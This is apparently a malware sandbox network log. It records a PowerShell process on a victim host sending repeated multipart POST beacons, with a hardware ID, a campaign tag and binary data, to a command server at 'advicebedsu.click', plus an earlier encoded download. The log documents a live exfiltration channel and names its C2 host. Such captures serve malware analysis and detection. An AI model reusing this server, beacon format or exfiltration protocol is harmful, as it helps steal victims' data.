2024-12-30 08:19:25 UTC	1369	IN	Data Raw: 34 35 32 66 0d 0a 43 75 79 4b 4e 31 38 58 68 56 35 39 42 41 53 36 52 33 31 73 50 47 77 66 44 54 47 32 66 59 4a 38 4a 63 69 4c 48 51 75 54 43 2b 4e 49 4b 34 56 30 33 35 55 48 57 65 38 44 46 54 69 55 2f 79 36 74 2b 67 35 65 34 65 57 2b 52 47 78 79 32 38 4d 65 7a 52 55 4c 63 77 5a 6f 52 50 51 64 55 5a 53 63 50 6f 57 48 50 64 52 73 75 54 78 35 6a 45 77 78 64 48 33 43 50 4b 54 4a 53 5a 36 4b 55 67 75 6a 69 47 6a 46 74 5a 30 58 52 6c 67 75 77 68 55 38 31 48 33 73 62 4b 6f 63 6e 76 4f 7a 72 35 52 73 62 59 68 4b 32 51 79 41 68 4f 4e 49 71 77 61 79 44 4a 50 58 48 62 30 43 46 43 77 42 62 4b 32 74 75 38 34 4e 73 50 56 2b 67 33 38 6e 43 59 68 66 44 46 4b 4b 6f 41 2b 72 78 66 62 66 46 77 58 59 4c 51 4f 58 66 35 58 2b 66 7a 2f 71 44 73 6a 69 59 36 2b 4a 76 79 44 50 53 Data Ascii: 452fCuyKN18XhV59BAS6R31sPGwfDTG2fYJ8JciLHQuTC+NIK4V035UHWe8DFTiU/y6t+g5e4eW+RGxy28MezRULcwZoRPQdUZScPoWHPdRsuTx5jEwxdH3CPKTJSZ6KUgujiGjFtZ0XRlguwhU81H3sbKocnvOzr5RsbYhK2QyAhONIqwayDJPXHb0CFCwBbK2tu84NsPV+g38nCYhfDFKKoA+rxfbfFwXYLQOXf5X+fz/qDsjiY6+JvyDPS
2024-12-30 08:19:25 UTC	1369	IN	Data Raw: 61 4d 34 72 75 6c 32 47 4d 6e 38 52 65 62 35 50 51 37 35 45 73 72 75 39 71 47 52 37 77 39 72 36 43 76 32 61 49 79 56 30 4a 30 63 72 69 69 79 6b 47 39 74 7a 57 78 70 6a 75 77 56 51 39 46 48 37 75 72 33 72 50 7a 32 4a 6d 4c 34 4f 36 64 4e 33 61 46 51 75 53 79 71 4f 4c 37 4d 61 6e 6a 77 51 48 47 6d 30 54 77 54 6d 54 65 57 37 72 71 59 6c 65 38 37 61 76 6c 47 78 6d 54 30 74 65 79 64 4b 49 34 6f 67 71 42 33 62 59 46 67 55 61 4c 67 48 57 66 39 62 39 37 47 32 34 7a 38 70 32 39 58 36 42 2f 33 54 59 57 68 79 4f 77 42 2b 7a 67 6d 31 48 73 35 30 55 31 4a 77 2b 68 59 63 39 31 47 79 35 50 48 6f 4d 6a 66 43 30 66 55 43 39 5a 63 76 4a 58 34 74 54 69 2b 43 4a 4b 34 61 7a 48 39 56 47 6d 57 39 43 6c 44 39 58 75 43 2f 73 4b 68 79 65 38 37 4f 76 6c 47 78 74 42 77 66 56 6d 4e Data Ascii: aM4rul2GMn8Reb5PQ75Esru9qGR7w9r6Cv2aIyV0J0criiykG9tzWxpjuwVQ9FH7ur3rPz2JmL4O6dN3aFQuSyqOL7ManjwQHGm0TwTmTeW7rqYle87avlGxmT0teydKI4ogqB3bYFgUaLgHWf9b97G24z8p29X6B/3TYWhyOwB+zgm1Hs50U1Jw+hYc91Gy5PHoMjfC0fUC9ZcvJX4tTi+CJK4azH9VGmW9ClD9XuC/sKhye87OvlGxtBwfVmN
2024-12-30 08:19:25 UTC	1369	IN	Data Raw: 4b 55 46 6e 69 6f 51 50 6d 79 37 42 42 7a 76 45 2b 76 38 74 75 52 38 59 34 6e 52 39 67 48 2f 6b 43 6b 6a 65 53 39 42 4c 34 67 70 71 68 72 52 64 56 6b 56 62 37 49 64 57 2f 31 55 38 72 65 34 34 6a 67 36 77 70 61 77 53 66 61 4c 62 33 41 31 45 55 63 77 6e 69 2f 69 41 70 42 72 45 42 56 6a 39 46 63 63 2f 55 2f 7a 75 61 50 73 4d 7a 44 62 33 66 67 4a 39 49 45 6f 4a 48 38 73 51 79 36 44 4c 36 6f 50 33 6e 39 51 41 48 32 79 42 46 4b 77 45 37 4b 37 71 61 68 6b 65 2f 6a 42 39 55 6e 75 33 54 5a 6f 63 69 38 41 66 73 34 76 71 42 44 51 59 46 51 55 5a 4c 63 42 56 50 56 56 39 72 61 38 35 7a 63 78 77 4e 37 2b 42 76 53 62 4a 43 35 37 49 6b 59 71 67 32 7a 73 58 64 6c 71 45 45 6f 76 6b 78 56 52 39 6b 72 6a 69 62 62 6f 62 58 76 57 6d 4f 64 4a 39 70 39 76 63 44 55 75 54 43 79 44 Data Ascii: KUFnioQPmy7BBzvE+v8tuR8Y4nR9gH/kCkjeS9BL4gpqhrRdVkVb7IdW/1U8re44jg6wpawSfaLb3A1EUcwni/iApBrEBVj9Fcc/U/zuaPsMzDb3fgJ9IEoJH8sQy6DL6oP3n9QAH2yBFKwE7K7qahke/jB9Unu3TZoci8Afs4vqBDQYFQUZLcBVPVV9ra85zcxwN7+BvSbJC57IkYqg2zsXdlqEEovkxVR9krjibbobXvWmOdJ9p9vcDUuTCyD
2024-12-30 08:19:25 UTC	1369	IN	Data Raw: 51 79 54 31 78 32 39 41 68 51 73 41 57 79 73 72 7a 75 50 54 72 42 33 76 34 50 2b 35 63 73 49 58 59 6b 53 53 43 46 4c 36 67 53 32 58 52 55 45 6d 53 7a 41 56 72 31 56 76 76 38 2f 36 67 37 49 34 6d 4f 76 69 2f 53 67 54 30 61 65 79 42 62 5a 70 46 69 75 31 33 5a 66 68 42 4b 4c 37 38 48 55 2b 4a 59 2b 37 53 31 34 54 77 2f 77 39 76 35 43 66 53 65 4b 69 78 37 4a 30 63 6d 67 69 4f 6c 46 64 46 32 55 42 30 76 2b 6b 39 62 36 42 32 71 2f 4a 48 6a 4b 68 72 48 33 65 78 4a 37 74 30 32 61 48 49 76 41 48 37 4f 49 71 73 63 31 6e 78 63 47 6d 75 6d 44 31 66 35 55 76 4f 7a 73 65 73 39 4d 63 48 45 2b 41 6e 36 6d 79 67 67 63 53 31 53 4a 34 46 73 37 46 33 5a 61 68 42 4b 4c 34 55 5a 57 2f 64 53 73 4a 57 32 38 7a 30 78 79 74 33 79 53 65 37 64 4e 6d 68 79 4c 77 42 2b 7a 69 47 75 45 Data Ascii: QyT1x29AhQsAWysrzuPTrB3v4P+5csIXYkSSCFL6gS2XRUEmSzAVr1Vvv8/6g7I4mOvi/SgT0aeyBbZpFiu13ZfhBKL78HU+JY+7S14Tw/w9v5CfSeKix7J0cmgiOlFdF2UB0v+k9b6B2q/JHjKhrH3exJ7t02aHIvAH7OIqsc1nxcGmumD1f5UvOzses9McHE+An6myggcS1SJ4Fs7F3ZahBKL4UZW/dSsJW28z0xyt3ySe7dNmhyLwB+ziGuE
2024-12-30 08:19:25 UTC	1369	IN	Data Raw: 53 61 4c 68 50 42 4c 42 57 2f 4c 6d 77 35 44 59 38 78 38 54 2f 41 2f 32 53 4b 43 39 2b 4d 55 73 30 68 53 53 68 45 39 5a 37 55 42 78 76 74 51 4a 63 73 42 4f 79 75 36 6d 6f 5a 48 76 73 39 65 6b 66 2b 39 45 4d 50 32 4d 70 52 79 71 59 4a 36 4d 65 79 48 39 41 55 69 48 30 48 6c 76 68 48 61 71 71 6f 66 38 37 4a 49 66 50 76 67 37 39 30 33 64 6f 66 69 78 4f 4b 34 55 6f 71 78 6a 57 63 56 55 58 5a 62 67 44 58 66 68 55 2b 4c 6d 30 37 6a 59 34 78 39 6e 2f 42 66 57 61 49 53 45 31 62 51 41 68 6c 6d 7a 36 58 65 68 69 56 77 70 69 70 45 31 75 38 30 7a 6a 71 62 7a 34 4f 6e 6e 6d 31 66 49 4b 39 4a 51 2f 61 47 70 74 57 57 61 4a 49 4f 4a 46 6e 6e 4a 55 48 6d 79 7a 41 56 50 39 55 76 57 33 76 75 49 79 4b 63 62 54 39 67 58 35 6e 6a 30 69 66 7a 46 4a 4c 34 4d 69 71 67 2f 64 4d 68 Data Ascii: SaLhPBLBW/Lmw5DY8x8T/A/2SKC9+MUs0hSShE9Z7UBxvtQJcsBOyu6moZHvs9ekf+9EMP2MpRyqYJ6MeyH9AUiH0HlvhHaqqof87JIfPvg7903dofixOK4UoqxjWcVUXZbgDXfhU+Lm07jY4x9n/BfWaISE1bQAhlmz6XehiVwpipE1u80zjqbz4Onnm1fIK9JQ/aGptWWaJIOJFnnJUHmyzAVP9UvW3vuIyKcbT9gX5nj0ifzFJL4Miqg/dMh
2024-12-30 08:19:25 UTC	1369	IN	Data Raw: 41 42 79 6f 5a 4c 4c 30 38 64 64 79 65 39 47 57 70 6b 6e 45 6b 43 45 6d 63 6a 56 52 61 36 38 68 71 52 48 54 66 56 74 53 49 66 51 4a 48 4b 67 4e 76 50 79 31 2b 58 78 6a 6d 59 53 6c 58 4b 4c 45 66 33 70 71 62 56 6c 6d 6d 47 7a 36 54 35 41 79 51 6c 49 33 39 45 68 66 34 6b 2f 30 76 36 66 72 65 77 58 33 39 65 6b 66 2b 34 68 74 44 6e 49 79 53 54 43 44 50 70 77 6a 38 48 39 52 45 57 48 32 50 6b 72 39 54 66 47 35 74 74 59 43 4e 63 37 43 2b 51 66 33 6b 32 39 6d 4e 53 77 41 66 72 64 73 36 6c 33 68 50 42 41 4b 4c 2b 78 50 61 66 4e 54 2f 4c 75 6e 2b 58 45 59 33 73 44 30 45 72 4f 31 4b 44 6c 38 4e 55 30 30 7a 6d 4c 69 47 35 34 71 41 46 77 76 73 42 34 63 71 41 32 67 35 2b 53 37 61 32 75 62 79 62 41 51 73 59 56 76 63 43 64 74 41 44 54 4f 64 4f 4a 61 33 57 42 43 46 47 79 Data Ascii: AByoZLL08ddye9GWpknEkCEmcjVRa68hqRHTfVtSIfQJHKgNvPy1+XxjmYSlXKLEf3pqbVlmmGz6T5AyQlI39Ehf4k/0v6frewX39ekf+4htDnIySTCDPpwj8H9REWH2Pkr9TfG5ttYCNc7C+Qf3k29mNSwAfrds6l3hPBAKL+xPafNT/Lun+XEY3sD0ErO1KDl8NU00zmLiG54qAFwvsB4cqA2g5+S7a2ubybAQsYVvcCdtADTOdOJa3WBCFGy
2024-12-30 08:19:25 UTC	1369	IN	Data Raw: 78 4f 79 75 4b 43 6f 5a 47 75 62 6a 61 74 61 70 73 4e 39 4e 7a 73 36 41 44 44 4f 64 50 42 54 6e 6d 41 51 53 69 2f 7a 44 45 37 69 57 2f 47 71 73 71 38 43 42 66 7a 56 38 41 66 32 68 52 6f 72 5a 43 42 41 4c 62 41 53 67 78 50 56 64 56 77 45 55 59 6f 36 58 2f 35 54 39 61 71 67 71 48 4a 37 78 70 61 6d 4d 4c 48 62 62 78 63 37 59 31 68 6d 31 6d 79 58 48 74 42 38 56 77 52 2b 2b 54 70 66 34 56 37 79 74 2f 47 6d 66 44 32 4a 6a 71 78 48 73 5a 63 2b 61 43 31 7a 45 6e 33 62 66 2f 56 4e 6a 47 30 65 43 79 2b 69 54 77 53 69 45 37 4b 75 38 62 42 38 66 4d 72 45 37 41 2f 79 68 53 78 76 53 78 31 6d 4a 59 6b 71 6f 52 50 4a 59 78 49 39 62 4c 38 44 55 50 64 4c 7a 49 4b 6b 36 7a 49 31 7a 73 44 76 53 62 2f 54 49 47 67 74 47 67 41 33 68 43 76 75 56 5a 4a 6a 51 78 78 6b 6f 67 67 63 Data Ascii: xOyuKCoZGubjatapsN9Nzs6ADDOdPBTnmAQSi/zDE7iW/Gqsq8CBfzV8Af2hRorZCBALbASgxPVdVwEUYo6X/5T9aqgqHJ7xpamMLHbbxc7Y1hm1myXHtB8VwR++Tpf4V7yt/GmfD2JjqxHsZc+aC1zEn3bf/VNjG0eCy+iTwSiE7Ku8bB8fMrE7A/yhSxvSx1mJYkqoRPJYxI9bL8DUPdLzIKk6zI1zsDvSb/TIGgtGgA3hCvuVZJjQxxkoggc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49930	104.21.84.241	443	7652	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 08:19:25 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BXOEAC8LGUS0U8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18140 Host: advicebedsu.click
2024-12-30 08:19:25 UTC	15331	OUT	Data Raw: 2d 2d 42 58 4f 45 41 43 38 4c 47 55 53 30 55 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 46 38 30 46 38 41 32 37 45 46 37 39 41 42 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 42 58 4f 45 41 43 38 4c 47 55 53 30 55 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 42 58 4f 45 41 43 38 4c 47 55 53 30 55 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 45 63 61 47 2d 2d 73 69 6e 67 6c 35 0d 0a 2d 2d 42 58 4f 45 41 43 38 Data Ascii: --BXOEAC8LGUS0U8Content-Disposition: form-data; name="hwid"3F80F8A27EF79AB7BEBA0C6A975F1733--BXOEAC8LGUS0U8Content-Disposition: form-data; name="pid"2--BXOEAC8LGUS0U8Content-Disposition: form-data; name="lid"yJEcaG--singl5--BXOEAC8
2024-12-30 08:19:25 UTC	2809	OUT	Data Raw: 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 Data Ascii: ~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECa
2024-12-30 08:19:26 UTC	1139	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 08:19:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pv7gq230i7drgeq6n20qt2bol7; expires=Fri, 25 Apr 2025 02:06:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lcxeMqIX1Y6cjKQECV%2BL%2FsTFjMjvH4rQNrTDIcG3oyKKhTlP%2BjFHLUM3O7UAr4MzUnYb4G0O%2B0Slj7yF9SiefEAJ%2B7C1yrL0Vnp%2FLFhcLjKIDB3NuZDwzIF62hOT95S4Uuz6yA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa09ad7bc04de99-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1474&min_rtt=1469&rtt_var=562&sent=11&recv=22&lost=0&retrans=0&sent_bytes=2842&recv_bytes=19099&delivery_rate=1929940&cwnd=209&unsent_bytes=0&cid=463ec04b419c44ea&ts=552&x=0"
2024-12-30 08:19:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 08:19:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49940	104.21.84.241	443	7652	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 08:19:26 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=GV7D45M6XOHU3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8755 Host: advicebedsu.click
2024-12-30 08:19:26 UTC	8755	OUT	Data Raw: 2d 2d 47 56 37 44 34 35 4d 36 58 4f 48 55 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 46 38 30 46 38 41 32 37 45 46 37 39 41 42 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 47 56 37 44 34 35 4d 36 58 4f 48 55 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 47 56 37 44 34 35 4d 36 58 4f 48 55 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 45 63 61 47 2d 2d 73 69 6e 67 6c 35 0d 0a 2d 2d 47 56 37 44 34 35 4d 36 58 4f Data Ascii: --GV7D45M6XOHU3Content-Disposition: form-data; name="hwid"3F80F8A27EF79AB7BEBA0C6A975F1733--GV7D45M6XOHU3Content-Disposition: form-data; name="pid"2--GV7D45M6XOHU3Content-Disposition: form-data; name="lid"yJEcaG--singl5--GV7D45M6XO
2024-12-30 08:19:27 UTC	1133	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 08:19:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dgiml3mqiqskj6ha0k8jr0rhv0; expires=Fri, 25 Apr 2025 02:06:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LVm693aMYZYP6TPBlLj3%2F6ILNzu6Tca0WSZhoQCpy8NTyBt1iE%2F%2B2Vn9Hve7uG4hXpVn0sltV7hn1ppuFY1urigRWHcirqalGAtj8PxynLq2%2FTHJNZbXJMbNFLM5VrKSvSXxsg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa09ade09744211-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2401&min_rtt=2326&rtt_var=1023&sent=6&recv=13&lost=0&retrans=0&sent_bytes=2844&recv_bytes=9690&delivery_rate=996247&cwnd=239&unsent_bytes=0&cid=38b27984a06650d0&ts=488&x=0"
2024-12-30 08:19:27 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 08:19:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49947	104.21.84.241	443	7652	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 08:19:28 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DAE0IDGYH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20384 Host: advicebedsu.click
2024-12-30 08:19:28 UTC	15331	OUT	Data Raw: 2d 2d 44 41 45 30 49 44 47 59 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 46 38 30 46 38 41 32 37 45 46 37 39 41 42 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 44 41 45 30 49 44 47 59 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 44 41 45 30 49 44 47 59 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 45 63 61 47 2d 2d 73 69 6e 67 6c 35 0d 0a 2d 2d 44 41 45 30 49 44 47 59 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 Data Ascii: --DAE0IDGYHContent-Disposition: form-data; name="hwid"3F80F8A27EF79AB7BEBA0C6A975F1733--DAE0IDGYHContent-Disposition: form-data; name="pid"3--DAE0IDGYHContent-Disposition: form-data; name="lid"yJEcaG--singl5--DAE0IDGYHContent-Dis
2024-12-30 08:19:28 UTC	5053	OUT	Data Raw: 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 f0 eb b1 64 f0 52 3c 78 29 f8 d7 Data Ascii: lrQMn 64F6(X&7~`aO@dR<x)
2024-12-30 08:19:28 UTC	1143	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 08:19:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=20jbneqd9dsglkrsqk88k3aqd9; expires=Fri, 25 Apr 2025 02:06:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VDva%2FcxTS%2FVkmMUujJp9dfq1zPK2JcGY3V%2FuS5%2BptYsQbrxWkjGt9XkAZCtyn5YkVPEUry1%2Bx9k435F3Rr0A3aV0%2F9xpvGRaSoW%2BCEGgCwullVacoDKt%2BzlKQEG4ZLDKaOvwIA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa09ae4ee5872b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1916&min_rtt=1909&rtt_var=730&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21338&delivery_rate=1483739&cwnd=172&unsent_bytes=0&cid=bb3a3673030b780f&ts=572&x=0"
2024-12-30 08:19:28 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 08:19:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49956	104.21.84.241	443	7652	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 08:19:29 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LTCEQR1V02DCUIQE3XS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1259 Host: advicebedsu.click
2024-12-30 08:19:29 UTC	1259	OUT	Data Raw: 2d 2d 4c 54 43 45 51 52 31 56 30 32 44 43 55 49 51 45 33 58 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 46 38 30 46 38 41 32 37 45 46 37 39 41 42 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4c 54 43 45 51 52 31 56 30 32 44 43 55 49 51 45 33 58 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4c 54 43 45 51 52 31 56 30 32 44 43 55 49 51 45 33 58 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 45 63 61 47 2d 2d 73 69 Data Ascii: --LTCEQR1V02DCUIQE3XSContent-Disposition: form-data; name="hwid"3F80F8A27EF79AB7BEBA0C6A975F1733--LTCEQR1V02DCUIQE3XSContent-Disposition: form-data; name="pid"1--LTCEQR1V02DCUIQE3XSContent-Disposition: form-data; name="lid"yJEcaG--si
2024-12-30 08:19:29 UTC	1132	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 08:19:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r2vfbmrljhiuknk6aql8r90r9g; expires=Fri, 25 Apr 2025 02:06:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WkymX5Ih6ZtKBrEzPoWjMyd9SHRT5MZtPLYxb%2BiQn%2FvUqYCzx6mnBKnq%2FCfcFx0W%2B2URmFIxud4BXPn2TYY0Dz4zeWgqoGBYbT40S3j0IblEWq3kEjk9xJw68bNIWljiE9qoJw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa09aebd8c2de98-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1564&min_rtt=1547&rtt_var=592&sent=5&recv=9&lost=0&retrans=0&sent_bytes=2842&recv_bytes=2178&delivery_rate=1887524&cwnd=212&unsent_bytes=0&cid=b709e63fb25ba882&ts=414&x=0"
